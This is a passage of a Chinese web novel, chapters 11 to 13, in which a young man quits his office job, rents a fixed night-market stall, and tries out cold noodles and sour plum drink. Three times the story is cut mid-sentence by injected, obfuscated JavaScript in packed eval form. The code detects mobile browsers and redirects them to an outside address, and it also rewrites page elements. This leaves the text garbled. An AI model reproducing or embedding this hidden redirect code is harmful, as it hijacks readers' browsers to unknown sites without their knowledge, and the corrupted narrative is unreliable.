他把手机放在桌上,站起来,走到窗前。窗外是另一栋楼的墙,灰扑扑的,上面爬满了空调外机。但今天他看这堵墙,忽然觉得没那么压抑了。 可能不是因为墙变了,是因为他变了。 他给群里发了一条消息:“今天不摆摊,休息一天。明天正常出摊,有新品。” 群里立刻炸了。 “寨哥儿你今天怎么了?身体不舒服吗?” “终于休息了,你天天出摊我看着都累。” “新品是什么?能不能透露一下?” “炒河粉已经够好吃了,还有新品?寨哥儿你是要卷死其他摊主吗?” 房寨没回复,关掉手机,去洗了个澡。 躺在床上之后,他又把手机打开,翻到那条“人员优化”的消息。他本来可能是被优化的那个人,现在好了,不用等别人来优化他了,他自己把自己优化了。 他想起了系统面板上那句话——选择本身没有对错,重要的是选择了之后怎么做。 现在他选了。 接下来就是怎么做的问题了。 全职摆摊,压力比之前大多了。以前还有工资兜底,摆摊赚多赚少都是外快。现在摆摊就是他的全部收入,一天不出摊就一天没进账。 他得把这件事当事业来做了。 房寨翻了个身,把被子拉到肩膀。 明天开始,新的生活。 他闭上眼睛,脑子里已经在想明天做什么新品了。 炒河粉和烤红薯都卖得挺好,但他还想再做一个。系统的食谱里还有几个没解锁的,不知道什么时候能拿到。 想着想着,他就睡着了。 这一晚没有做梦,一觉到天亮。 11. 第 11 章 离职手续办得比房寨想的快。 王经理在离职申请表上签了字,人力资源的小姑娘核对了一下他的考勤和社保,让他填了一张表,就算完事了。前后不到半小时。 “你这个月上了十天班,工资会照常发。”小姑娘说,“社保交到月底,下个月你自己交或者找公司代缴。” 房寨点了点头,拿着那张离职证明走出了办公室。 他站在公司门口,把离职证明折了折,塞进裤兜里。 出来的时候是上午十点多,太阳已经很高了,晒得人头皮发烫。他站在台阶上看了一会儿,街上的人来来往往,没人注意到他。 他在这里上了两年多的班,每天进进出出,从来没好好看过这栋楼的样子。现在要走了,反而多看了几眼。楼不高,十几层,玻璃幕墙灰蒙蒙的,好像很久没擦过了。 房寨转身走了。 回到出租屋,他把工牌、门禁卡、饭卡一样样掏出来,放在桌上。这些东西跟了他两年多,现在忽然没用了。 他坐了一会儿,不知道该干什么。 以前这个时候他在工位上,对着电脑屏幕发呆,等午饭。现在他不用等午饭了,他随时可以吃,但他不饿。 系统面板亮了一下。 【检测到宿主已全职投入美食事业。】 【新功能解锁:店铺经营系统(初级)。】 【当前可解锁店铺类型:路边摊(已拥有)、固定摊位(夜市)、小店面(待解锁)。】 【解锁固定摊位需要:摊位费押金500元,月租1500元。】 房寨看了一眼,他现在手头的钱:摆摊攒的两千出头,加上这个月工资大概有两千多,总共不到五千块。 交了摊位押金和第一个月租金,还剩不到三千。 够活了。 他给赵哥打了个电话。 “赵哥,我想把夜市的摊位定下来,长期租。” “想通了?”赵哥在电话那头笑了,“早该定了。你那个位置虽然偏,但你现在有客源了,不怕偏。你来签合同吧,带上身份证和钱。” 房寨骑车去了夜市。赵哥在管理处的办公室里,桌上摆着一摞合同,上面已经签了好几个人的名字。 “一个月一千五,水电自理,押金五百。合同签半年。”赵哥把合同推过来,“你先看看,没问题就签。” 房寨翻了翻,没什么好看的,格式合同,不看也得看。他签了字,按了手印,交了钱。 从管理处出来的时候,他手里多了一把钥匙。夜市的摊位钥匙,虽然就是个铁皮柜子,但好歹是固定的了。 他走到自己的摊位前,打开柜子看了看。里面空荡荡的,有点灰,但整体还算干净。他可以用这个柜子放食材和工具,不用每天把全部家当推来推去了。 房寨站在摊位前,叉着腰看了好一会儿。 这是他的了。 不是临时占的,不是蹭别人的,是他正儿八经租下来的。 他掏出手机拍了一张照片,发到了群里。 “摊位定下来了,城南夜市,靠厕所这个位置。以后每天晚上都在。” 群里又炸了。 “终于定下来了!以后不用每天猜你在哪了!” “靠厕所怎么了?靠厕所我也去!” “寨哥儿你有固定摊位了,是不是该搞个菜单了?” “对对对,菜单菜单!” 菜单。 房寨想了想,他现在能做的东西:蛋炒饭、阳春面、铁板鱿鱼、葱油拌面、炒河粉、烤红薯。 六个菜。 不多,但对于一个小摊位来说够了。 他找了一张纸板,在上面写菜单。字还是写得歪歪扭扭的,但比以前好看了一点,大概是因为写多了。 蛋炒饭——8元 阳春面——10元 葱油拌面——10元 炒河粉——12元(加牛肉15元) 铁板鱿鱼——5元/串 烤红薯——6元/8元 写完之后他看了看,觉得少了点什么。又加了一行小字在上面:“每天晚上六点开摊,卖完收摊。” 他把菜单挂在摊位前面,退后两步看了看。 挺像那么回事的。 下午四点多,房寨去菜市场买菜。 今天他打算多备一些食材。以前他每天只准备二十份左右的量,卖完就收。现在全职了,时间多了,可以多做一点。 他买了十斤河粉、五斤面条、三板鸡蛋、十斤鱿鱼、五十斤红薯。鱿鱼让老板帮忙处理好了,省了一道工序。红薯一个个挑,挑了一个多小时,摊主都快烦了。 “小伙子,你买五十斤红薯挑一个小时,我这一天生意还做不做了?” “对不起对不起,马上好。” 房寨最后挑了四十五斤,付了钱,骑着三轮车往回走。三轮车是他在二手市场淘的,两百块钱,比推车快多了,一次能拉两百斤东西。 回到出租屋,他开始备料。 河粉要一条条撕开,这个最费时间。十斤河粉,他撕了一个多小时,手指头都疼了。鱿鱼要串签子,五斤鱿鱼串了四十多串。红薯洗干净擦干,在表皮上扎孔。葱切成葱花,分装在保鲜盒里。酱料调好,装在塑料瓶里,挤着用。 忙完这些,天已经快黑了。 五点半,房寨骑着三轮车出门了。车上装满了食材和工具,比平时重了很多,骑起来有点费劲。 到了夜市,他把东西搬下来,一样样摆好。烤炉预热,铁板通电,锅里的水烧上。他把菜单挂好,招牌擦干净,塑料凳子摆了两张在摊位旁边。 六点整,第一个客人来了。 不是别人,是阿坤。 “寨哥,今天第一个,给我来份炒河粉,加牛肉。” “你今天不练了?” “练完了,专门赶过来的。”阿坤坐在塑料凳子上,掏出手机开始拍,“我得给你宣传宣传,今天是你正式开业的日子。” 房寨笑了笑,开始炒河粉。 牛肉先下锅滑熟,盛出来。鸡蛋炒散,下河粉,大火快炒。河粉在锅里翻腾,边缘开始变得焦黄。酱油沿着锅边淋下去,刺啦一声,香味炸开。最后下豆芽、韭菜和牛肉,翻炒几下出锅。 整个过程不到三分钟,行云流水。 阿坤接过盘子,吃了一口,竖起大拇指。 “还是这个味儿。” 【叮!食客评价已录入。满意度:95分。】 阿坤吃到一半的时候,第二波客人来了。 是群里的人。房寨不认识他们,但他们认识房寨。 “寨哥儿!终于见到真人了!”一个戴眼镜的姑娘激动得不行,“我在群里潜水好久了,一直没时间来,今天专门过来的。” “欢迎欢迎,想吃什么?” “葱油拌面!我在群里看你发的照片馋了好久了!” 房寨煮了面,过了凉水,浇上热葱油。刺啦一声,葱香四溢。姑娘接过去拌了拌,吃了一口,眼睛亮了。 “好吃!真的好吃!” 她一边吃一边拍照,拍了十几张,各个角度,连碗底都不放过。 “我得发个朋友圈,让她们羡慕死。” 房寨被她说得有点不好意思,低下头继续干活。 六点半之后,人开始多了起来。 熟客来了,新客也来了。有的专门从城北赶过来,有的刚下班还没换衣服就来了,有的带着孩子一家人来的。摊位前排起了队,和昨天美食节的时候差不多。 房寨一个人忙不过来,两个锅同时开火,左手炒河粉右手煮面,铁板上还烤着鱿鱼。他恨不得自己长出三头六臂。 阿坤吃完没走,主动帮他打下手。递盘子、装袋、收钱,干得有模有样。 “寨哥,你得请个人了。”阿坤说,“你一个人忙不过来的。” “请不起。” “那你至少得加个设备,你看你这铁板太小了,一次只能烤几串。” 房寨知道阿坤说得对。他看了一眼系统面板里的推车升级图纸,下一级需要遮阳棚、储物柜和移动电源,成本两千五。他现在手头的钱交了摊位租金之后还剩三千出头,升级完推车就没钱了。 但如果不升级,效率提不上去,每天赚的钱就那么多。 他咬了咬牙,决定升级。 第二天,房寨跑了一趟五金市场,买了升级需要的材料。遮阳棚是在一家专门做帐篷的店里定做的,四百块。储物柜买了个二手的铁皮柜,八十块。移动电源是最贵的,花了一千八,可以给铁板和烤炉供电四五个小时。 回到家,他按照图纸上的说明,花了半天时间把推车改装好了。 现在的推车和之前完全不一样了。顶上多了一个深蓝色的遮阳棚,下面多了一个带锁的铁皮柜,侧面挂着一个移动电源。铁板还是两块,但换成了更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511080|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大尺寸的,一次能烤十几串鱿鱼。 虽然轮子还是咯吱咯吱响,但看起来已经不像破烂了,像一个正儿八经的餐车。 房寨把推车推到夜市,赵哥路过的时候看了一眼,点了点头。 “像个样子了。” 房寨笑了笑。 晚上六点,准时开摊。 今天的生意比昨天还好。升级后的效率提升了将近一半,同样的时间能多做十几份。炒河粉卖了将近五十份,鱿鱼卖了六十多串,红薯卖了三十多个。 到晚上九点收摊的时候,所有东西全部卖光。 房寨数了数钱,毛收入七百多,净赚将近四百。 一天四百。 一个月就是一万二。 他坐在塑料凳子上,看着手里的钞票,好半天没动。 以前上班一个月挣六千五,扣掉花销剩四千。现在摆摊一天挣四百,一个月就是一万二,扣掉成本和生活费,能剩七八千。 比上班强。 但这不是最让他高兴的。 最让他高兴的是,他站在铁板后面的时候,没有那种“熬时间”的感觉了。以前上班的时候,他每分钟都在看时间,盼着下班,盼着周末,盼着放假。现在他巴不得时间过得慢一点,让他多做几份。 这种感觉很奇怪,但他喜欢。 收摊的时候,阿坤又来了。他今天穿了一件新T恤,白色的,上面印着几个大字:寨哥儿炒河粉。 房寨看到的时候愣了一下,然后笑了。 “你这衣服哪来的?” “自己做的。”阿坤转了个身,背后也有字:好吃到哭。 “我做了十件,打算在群里卖。”阿坤说,“一件三十块,你要不要?” “你倒是会做生意。” “跟你学的。”阿坤笑了。 两个人把推车收拾好,阿坤帮他把东西搬上三轮车。忙完之后,两个人蹲在路边抽了根烟。房寨不抽烟,阿坤给他他也没要。 “寨哥,你现在全职了,有什么打算?” “先把夜市做稳了,攒点钱,以后再说。” “以后开个店?” “也许吧。”房寨说,“先把眼前的事做好。” 阿坤点了点头,把烟掐灭了。 “那我走了,明天见。” “明天见。” 房寨骑着三轮车往回走。晚上的风有点凉,吹在脸上很舒服。路上没什么人了,只有路灯一盏接一盏地亮着。 他忽然想起来,今天是周五。 以前周五是他最期待的日子,因为第二天不用上班。现在每天都是工作日,每天也都是休息日。 他分不清了。 但他觉得分不清也没关系。 路过天桥的时候,那个唱歌的人又来了。今天唱的是首老歌,房寨小时候听过,但想不起来叫什么名字了。 他停下来听了一会儿,往吉他盒里放了十块钱。 唱歌的人冲他点了点头,继续唱。 房寨骑上车走了。 咯吱咯吱的声音在夜晚的街道上响着,和之前一样,但好像没有以前那么吵了。可能不是轮子变了,是他的耳朵变了。 回到城中村,巷子里那几只猫还在。房寨从口袋里掏出一根火腿肠,掰碎了丢给它们。猫们低头抢食,吃完了抬起头看着他,眼睛在黑暗中发着光。 “明天还有。”房寨说。 他上了楼,开门,开灯。灯闪了一下,稳住了。 他洗了个澡,躺在床上,翻开手机。 群里有人在发今天的照片,有炒河粉的、有鱿鱼的、有烤红薯的,还有一张阿坤穿着那件T恤的照片。照片下面一堆人问衣服在哪买的。 房寨一张张地看过去,看到最后一张的时候,他愣了一下。 那是一张他的照片。 不知道是谁拍的,大概是趁他不注意的时候偷拍的。照片里他站在铁板后面,低着头在炒河粉,油烟从锅里冒出来,遮住了半张脸。但能看出来他在笑,嘴角往上翘着,眼睛弯弯的。 照片下面配了一行字:“寨哥儿今天笑得真开心。” 房寨看了好几秒,然后把手机放下了。 他笑了一下。 不是给别人看的笑,是给自己看的。 然后他关了灯,翻了个身,闭上了眼睛。 窗外,夜风穿过城中村的电线,声音细细的,像有人在远处哼歌。 12. 第 12 章 房寨在夜市摆满一个月的那天,收摊之后没有马上回家。 他坐在摊位旁边的塑料凳子上,面前是收拾干净的推车和铁板,身后是逐渐冷清下来的夜市街道。赵哥在远处跟人说话,声音忽大忽小的。卖烤面筋的大叔已经开始拆棚子了,动作很熟练,拆完把东西往三轮车上一扔,骑上车就走了。 房寨从口袋里掏出一个本子。 这是他专门买来记账的,一块钱一本,封面是那种俗气的花花绿绿的图案。他翻开第一页,上面密密麻麻地写着每天的收支。 第一天:毛收入220,成本110,净赚110 第二天:毛收入310,成本150,净赚160 第三天:毛收入280,成本130,净赚150 第四天:毛收入400,成本200,净赚200 第五天:…… 他一页一页地往后翻,数字在慢慢变大。从最开始的一天赚一百出头,到后来的一天三四百,有时候甚至能到五百。 最后一页是今天的:毛收入820,成本380,净赚440。 他把这个月的所有数字加了一遍。毛收入总共八千多,成本去掉之后,净赚四千七。 不到五千块。 比上班少。 房寨看着这个数字,心里有点复杂。他全职摆摊一个月,赚的还不如上班多。上班虽然也就六千五,但扣完社保公积金还有五千多到手,比摆摊还强点。 但上班的时候他每天只花两个小时在路上和工位上,剩下的时间都是自己的。摆摊呢?每天备料三四个小时,出摊四五个小时,收摊一个小时,加起来快十个小时了。赚的钱反而少了。 他合上本子,靠在椅背上,看着头顶的遮阳棚发呆。 这时候系统面板亮了。 【月度总结已生成。】 【营业天数:26天】 【服务食客总数:437人】 【平均满意度:91.3分】 【总净收入:4720元】 【房贷已还:15000元(含系统奖励)】 【当前剩余本金:1,474,331.68元】 【系统评价:第一个月是打基础的阶段,数据表现良好。建议下个月重点关注:菜品丰富度、出摊效率、客单价提升。】 房寨看着那些数字,忽然注意到一件事。 房贷已还一万五。 这里面大部分是系统奖励的房贷减免券,真正靠摆摊赚的钱还的房贷,可能只有一两千块。也就是说,如果光靠摆摊的收入,他连房贷的零头都还不起。 他忽然觉得有点慌。 之前有系统奖励撑着,他没太在意房贷的事。但系统奖励不是每天都有的,任务也不是每天都发的。万一哪天系统不发了,他拿什么还房贷? “寨哥,还没走呢?” 赵哥的声音从后面传来,打断了房寨的思绪。 “这就走。” “对了,跟你说个事。”赵哥走过来,手里拿着一个文件夹,“下个月夜市要调整摊位费,你的位置可能要涨一点。” “涨多少?” “涨到两千。” 房寨愣了一下。一千五涨到两千,涨了五百,百分之三十还多。 “赵哥,我这个位置靠厕所,人流量本来就少,涨到两千是不是太多了?” 赵哥看了他一眼,叹了口气:“不是我要涨,是上面定的。整条街都涨,你旁边那个卖烤面筋的也涨了。你要是觉得不合适,可以不租。” 房寨沉默了。 他现在一个月净赚四千七,摊位费从一千五涨到两千,成本多了五百,净赚就只剩四千二了。再扣掉生活费,一个月能存下来的钱不到两千块。 两千块。 他要还一百四十七万的房贷。 按照这个速度,他需要还多少年? 房寨没有算,因为他怕算出来会崩溃。 “赵哥,我考虑一下。” “行,你考虑好了跟我说。” 赵哥走了之后,房寨又在凳子上坐了一会儿。 夜市的灯一盏一盏地灭了,整条街暗了下来。远处还有几家在收摊,说话的声音在空旷的街道上回荡,听起来很远。 他站起来,把凳子折好放在推车上,骑着三轮车往回走。 路上他想了很多。想摊位费的事,想房贷的事,想以后怎么办。越想越觉得前途一片灰暗,像城中村那条永远晒不到太阳的巷子。 但他又想到另外一些事。 想到那个姑娘吃完葱油拌面之后笑出来的样子,想到那个老大爷说“你明天还来不”时的表情,想到阿坤穿着那件“寨哥儿炒河粉”的T恤到处显摆的样子。 想到那些在群里说“寨哥儿你今天辛苦了”的人。 房寨忽然觉得,好像也没那么灰暗。 回到出租屋,他把本子翻开,又看了一遍这个月的记录。 他不是在算账,是在看那些数字背后的东西。 第一天净赚一百一,那天他只卖了二十几份,但有个客人吃完之后特意回来跟他说了一声“谢谢”。 第三天净赚一百五,那天有个老太太在摊位前站了十分钟,犹豫了半天才买了一份炒河粉,吃完之后说这是她这辈子吃过最好吃的炒河粉。 第十五天净赚三百二,那天美食节,他的烤红薯被三个评委吃了,虽然最后没得奖,但那个女评委走的时候说了一句“小伙子,你做得很好”。 第二十天净赚四百,那天王经理来了,吃了他的烤红薯,第二天他就辞职了。 房寨把本子合上,放在枕头底下。 他不想算了。 明天的事明天再说。 第二天一早,房寨被手机震醒了。 群里有人在@他,好几条。他眯着眼睛点开一看,是有人转发了一条消息。 “城南夜市要涨摊位费了?听说要涨百分之三十?” 下面一堆人在骂。 “太过分了吧,本来就赚不了多少钱。” “寨哥儿的摊位在厕所旁边,人流量那么少,涨他的不合理吧?” “有没有什么办法帮帮寨哥儿?” 房寨看着这些消息,心里暖了一下,但没回复。他不知道该说什么。说“没关系”太假了,说“有关系的”又太丧了。 他起来洗漱,准备去菜市场。 今天他想试试新东西。 系统的食谱里还有一个没解锁的,他一直没机会用。烤红薯已经做了,效果还行。但夏天卖烤红薯总归不是长久之计,他需要一个夏天的拳头产品。 他想到了凉面。 不是系统给的食谱,是他自己想的。夏天吃凉面,酸酸辣辣的,开胃又解暑。如果能做得好,应该比热面好卖。 房寨去菜市场买了面条、黄瓜、豆芽、花生米、芝麻酱、醋、生抽、辣椒油。回到家开始试。 面条煮好过凉水,沥干。黄瓜切丝,豆芽焯水,花生米碾碎。芝麻酱用温水调开,加醋、生抽、糖、辣椒油,搅成酱汁。 面条放在碗里,铺上黄瓜丝和豆芽,浇上酱汁,撒上花生碎和葱花。 拌开,尝了一口。 太淡了。 芝麻酱的味道不够浓,醋放少了,辣椒油也不够香。整个面吃起来寡淡无味,像是在吃拌了水的面条。 第二碗,多放了芝麻酱和醋,辣椒油重新炸了一遍,加了蒜末提味。 好多了。 但还是差了点意思。 房寨想了想,觉得问题出在面条上。普通碱水面做凉面口感太软,没有嚼劲。他需要一种更劲道的面,或者把面条煮得硬一点。 第三碗,面条煮到八分熟就捞出来,过凉水的时候多过两遍,把表面的淀粉洗掉。 这次对了。 面条劲道,酱汁浓郁,酸辣适中,后味有芝麻酱的醇厚和蒜末的辛辣。黄瓜丝脆脆的,豆芽爽口,花生碎增加了口感层次。 房寨一口气吃完了一整碗,觉得不过瘾,又拌了一碗。 好吃。 他把配方记下来,准备晚上拿到夜市去试卖。 晚上六点,房寨准时开摊。 今天的菜单上多了一行字:凉面,8元。 第一个点凉面的客人是个胖乎乎的小伙子,看起来像个大学生。他看了一眼菜单,又看了一眼房寨。 “老板,你新出的凉面?” “对,今天刚试的,要不要来一份?” “来一份。” 房寨拌了一碗,递过去。 小伙子接过去拌了拌,吃了一口,嚼了嚼,没说话,又吃了一口。 房寨紧张地看着他。 小伙子吃了第三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511081|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口的时候,抬起头看着房寨,表情很认真。 “老板,你这个凉面,能不能不要放花生?” 房寨愣了一下:“不好吃?” “好吃,就是我不吃花生。”小伙子笑了,“味道挺好的,酸酸辣辣的,夏天吃很舒服。” 【叮!食客评价已录入。满意度:90分。】 房寨松了口气。 凉面的反响比他想的好。一个晚上卖了二十多份,虽然不是每个人都给高分,但大部分人都说好吃。有人嫌太辣,有人嫌不够酸,有人觉得芝麻酱太浓了,众口难调,但总体评价不错。 房寨觉得这个可以留下来,以后夏天就卖凉面。 收摊的时候,阿坤来了。他今天没穿那件T恤,换了一件新的,上面印着“寨哥儿凉面”。 房寨看到就笑了:“你动作也太快了。” “那当然,我得跟上你的节奏。”阿坤从口袋里掏出一个信封,“给你,这是卖T恤的钱,十件卖完了,一件三十,三百块。” 房寨接过信封,从里面抽出五十块递给阿坤。 “你的辛苦费。” “不用不用。” “拿着。”房寨把钱塞到他手里,“你帮我做了那么多事,我总不能让你白干。” 阿坤看了看手里的钱,笑了笑,揣进了兜里。 “寨哥,我跟你说个事。”阿坤的表情忽然变得有点严肃,“我打算考个证,营养师的那种。” “好事啊,考呗。” “但是学费要三千多,我手头不够。”阿坤挠了挠头,“你能不能借我两千?我慢慢还。” 房寨想都没想,从钱箱里数了两千块,递给阿坤。 阿坤愣了一下:“你不问问我还款计划?” “不用问,你阿坤我信得过。” 阿坤看着手里的钱,张了张嘴,想说点什么,但最后什么都没说,只是用力点了点头。 “走了寨哥。” “走了。” 阿坤走了之后,房寨一个人坐在摊位前,把今天的收入数了数。 毛收入六百多,净赚三百出头。 加上阿坤还回来的T恤钱,今天总共进了三百五。 他拿出那个花花绿绿的本子,在上面记了一笔。 今天的日期下面,他多写了一行字:“阿坤借钱两千。” 然后他又在后面加了一行:“凉面反响不错,可以继续卖。” 合上本子,他骑着三轮车往回走。 路上他想起了今天那个胖小伙子说的话:“夏天吃很舒服。” 就这一句话,他觉得今天这一整天都值了。 回到城中村,巷子里那几只猫又在等他。房寨从口袋里掏出一根火腿肠,掰碎了丢给它们。今天多了一只小猫,橘色的,瘦瘦小小的,挤在大猫中间抢食。 房寨蹲下来看了一会儿。 小猫抢到了一块大的,叼着跑到墙角,趴在那里慢慢地吃。 他笑了笑,站起来上了楼。 开门,开灯。灯没闪,今天很稳。 他洗了个澡,躺在床上,翻开手机。 群里有人在发凉面的照片,配文是“寨哥儿新出的凉面,好吃到舔碗”。下面一堆人在问明天还有没有。 房寨回复了一句:“明天还有,凉面每天都有。” 发完这条,他翻了翻系统面板。 【当前厨艺经验值:850/1000(中级还需150)。】 【建议:多尝试新菜品,积累经验值。达到中级后可解锁店铺经营功能。】 还差一百五。 按照现在的进度,大概再做一个新菜品就能到了。 房寨想了想,决定明天再试一个新东西。 做什么呢? 他闭上眼想了想,脑子里忽然冒出一个念头——酸梅汤。 夏天卖凉面配酸梅汤,绝配。 酸梅汤不是主食,成本低,利润高。如果做得好,一晚上卖几十杯不成问题。 他决定明天试试。 关了灯,躺在床上,听着窗外的风声和猫叫。 今天赚了三百五,比昨天少,但比上个月的平均水平高。 最重要的是,凉面做成了。 又多了一个能卖的菜。 房寨翻了个身,把被子拉到肩膀。 明天继续。 13. 第 13 章 酸梅汤这件事,房寨琢磨了好几天。 他以为很简单,不就是乌梅山楂冰糖煮一煮吗?小时候奶奶夏天经常熬,一大锅放在冰箱里,放学回来喝一碗,又酸又甜又解渴。 但真做起来才发现不对。 第一次试,他买了乌梅、山楂、甘草、陈皮,按照网上的配方,乌梅放一把,山楂放一把,冰糖放一大块,加水煮了半小时。煮出来的汤颜色倒是挺深,但喝起来有一股子药味儿,又酸又涩,喝完嘴里发苦。 太浓了。 第二次,他把乌梅和山楂减半,甘草只放了两片,冰糖多加了一些。煮了二十分钟就关火,晾凉了尝一口。药味淡了,但还是不够好,酸味太冲,甜味在后头,两者之间像隔了一层什么东西,没有融合在一起。 第三次,他换了个思路,不放甘草了,改放桂花。乌梅和山楂先用温水泡了半小时,泡出味道之后再煮,煮的时候放一小把干桂花。冰糖分两次放,一半在煮的时候放,一半在关火之后放。 煮好的酸梅汤是深琥珀色的,透着光看是红褐色的,很透亮。凑近了闻,有乌梅的烟熏味和桂花的香气混在一起,不冲,但很勾人。 他倒了一小杯尝了一口。 酸味先上来,但不刺激,是那种让人嘴里一紧又马上放松的酸。然后是甜,冰糖的清甜慢慢渗出来,把酸味裹住了。最后是桂花的香味,在喉咙里绕了一下才散。 好喝。 房寨一口气喝了三杯,喝到第四杯的时候打了个哆嗦,太凉了,胃有点受不了。 他把配方记下来,决定晚上拿去夜市卖。 但有个问题。 酸梅汤要冰的才好喝。他没有冰箱,冰块也没地方弄。夜市倒是有一家卖冰粉的,但人家不卖冰块。 房寨想了想,去超市买了个大号的保温桶。那种能装二十升水的,桶壁很厚,保温效果不错。他又去制冰厂买了十斤冰块,五块钱。 回到家,他把煮好的酸梅汤倒进保温桶,加了一大半冰块进去,盖上盖子。 等了一个小时,打开尝了一口,凉丝丝的,比常温的好喝多了。 他算了一下成本。乌梅、山楂、冰糖、桂花、冰块,加上桶和杯子吸管,一杯的成本大概一块钱左右。他打算卖三块钱一杯,一杯大概两百毫升。 下午四点多,房寨骑着三轮车出门了。保温桶放在车上,用绳子固定了好几道,怕路上颠簸洒了。 到了夜市,他先把酸梅汤的事放一边,开始准备凉面和炒河粉的材料。黄瓜切丝,豆芽焯水,花生碾碎,酱汁调好。河粉撕开,鱿鱼串好,红薯洗干净。 五点半的时候,阿坤来了。他今天练得早,五点多就结束了。 “寨哥,今天有什么新东西?” “酸梅汤,你尝尝。”房寨倒了一杯递给他。 阿坤接过去喝了一口,停顿了一下,又喝了一大口,然后盯着杯子看了两秒。 “寨哥,你这个……是不是加了什么不该加的东西?” “什么意思?” “我怎么觉得喝了会上瘾呢?”阿坤把剩下的全喝了,杯子往桌上一放,“再来一杯。” 房寨笑着又给他倒了一杯。 “你今天帮我卖这个,我给你提成。” “提什么成,你借我两千块钱我还没还呢。”阿坤摆了摆手,“我帮你卖就是了,别提钱。” 六点整,开摊。 今天人来得比平时早。群里有人看到房寨发的新品预告,专门提前下班赶过来的。 第一个买酸梅汤的是个穿连衣裙的姑娘,买了一碗凉面,看到酸梅汤的招牌,顺带要了一杯。 “三块是吧?来一杯。” 房寨从保温桶里接了一杯递给她。姑娘先喝了一口,眼睛眯了一下,然后又喝了一口,这次喝了一大口,喝完还咂了咂嘴。 “老板,你这个酸梅汤是自己熬的吗?” “对,自己熬的。” “跟外面卖的不一样,外面的太甜了,你这个酸味很正。”姑娘把杯子举起来看了看颜色,“而且颜色也好看。” 她端着凉面和酸梅汤走了,走了几步又回头:“老板,酸梅汤能打包带走吗?我想给我同事带一杯。” “能,要几杯?” “两杯。” 房寨又接了两杯,用盖子盖好,装进袋子里。 【叮!食客评价已录入。满意度:96分。】 酸梅汤的生意比房寨想的还好。 买了凉面的人基本都会带一杯,有的人不买吃的,专门来买酸梅汤。有对情侣一人买了三杯,说要在回家的路上喝。有个大叔一口气买了五杯,说带回去给家里人尝尝。 保温桶里的酸梅汤肉眼可见地往下掉。不到一个小时,半桶没了。 房寨有点心疼,不是心疼钱,是心疼自己熬的那些乌梅和山楂。他在菜市场挑了好久才买到好的乌梅,那种个头大、肉厚、烟熏味足的。山楂也是挑的,不要那种太干的,要有点水分的。 但看到那些喝酸梅汤的人脸上满足的表情,他又觉得值了。 有个大爷喝完一杯,又回来买了两杯,站在摊位旁边一边喝一边跟房寨聊天。 “小伙子,你这个酸梅汤让我想起小时候。”大爷说,“我爷爷以前夏天也熬这个,用那种大砂锅,放在院子里的煤炉上,咕嘟咕嘟煮一下午。整个院子都是酸梅汤的味道。” “那您爷爷手艺应该比我好。” “他熬了一辈子,你才熬了几天?”大爷笑了,“但你跟他有一个共同点,你们熬的酸梅汤都不是那种死甜的,酸味很活。这个不容易。” 房寨被夸得有点不好意思,低下头给大爷又续了半杯。 “不要钱,送您的。” 大爷笑呵呵地接过杯子,慢慢走了。 八点多的时候,酸梅汤卖光了。 二十升的保温桶,大概能装一百杯左右。一杯三块钱,光是酸梅汤就卖了将近三百块。扣掉成本,净赚两百多。 房寨没想到酸梅汤这么能卖。 他算了一下,如果每天都能卖一百杯,光酸梅汤一个月就能赚六千多块。比上班还多。 但这是理想情况。今天是因为新品,大家图新鲜,明天可能就卖不了这么多了。 不过至少说明这个方向是对的。 凉面配酸梅汤,夏天的黄金搭档。 收摊的时候,房寨把今天的情况记在了本子上。 “酸梅汤,净赚220,好评多。明天多做一点,买个大桶。” 他合上本子,骑着三轮车往回走。 路过天桥的时候,那个唱歌的人又在。今天唱的是首民谣,吉他弹得很简单,声音有点哑。桥上有几个年轻人坐在台阶上听,听完鼓了鼓掌。 房寨停下来听了一会儿,往吉他盒里放了五块钱。 唱歌的人冲他点了点头。 房寨正要走,那人忽然开口了。 “哥们,你是不是那个卖炒饭的?” 房寨愣了一下:“你认识我?” “我吃过你的炒河粉。”那人笑了笑,“上上周在夜市,排队排了半小时才吃到。你做的确实好吃。” “谢谢。” “你等一下。”那人把吉他放在一边,从包里掏出一个本子,撕了一张纸,写了一行字递给房寨。 房寨接过来一看,上面写着一个名字和一个手机号。 “我叫何一舟,搞音乐的。”那人说,“我有个想法,想给你写首歌,就写你的炒饭摊。不要钱,就是想写。” 房寨看着那张纸,不知道该怎么接话。 写歌?给他写歌?一个摆摊的,有什么好写的? “你不用紧张。”何一舟笑了,“我就是觉得你这个人和你的摊有意思。你在夜市最偏的角落里,但排队的人最多。你在夏天卖烤红薯,在路边煮阳春面。你做的东西不是最贵的,但吃的人都笑了。” 他顿了顿。 “这不就是一首歌吗?” 房寨把纸条折好,放进口袋。 “你什么时候有空,来夜市找我,我请你吃饭。” “行。” 房寨骑着三轮车走了。骑出去一段路,他摸了一下口袋,纸条还在。 他想,这世界上的事真是奇怪。半个月前他还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 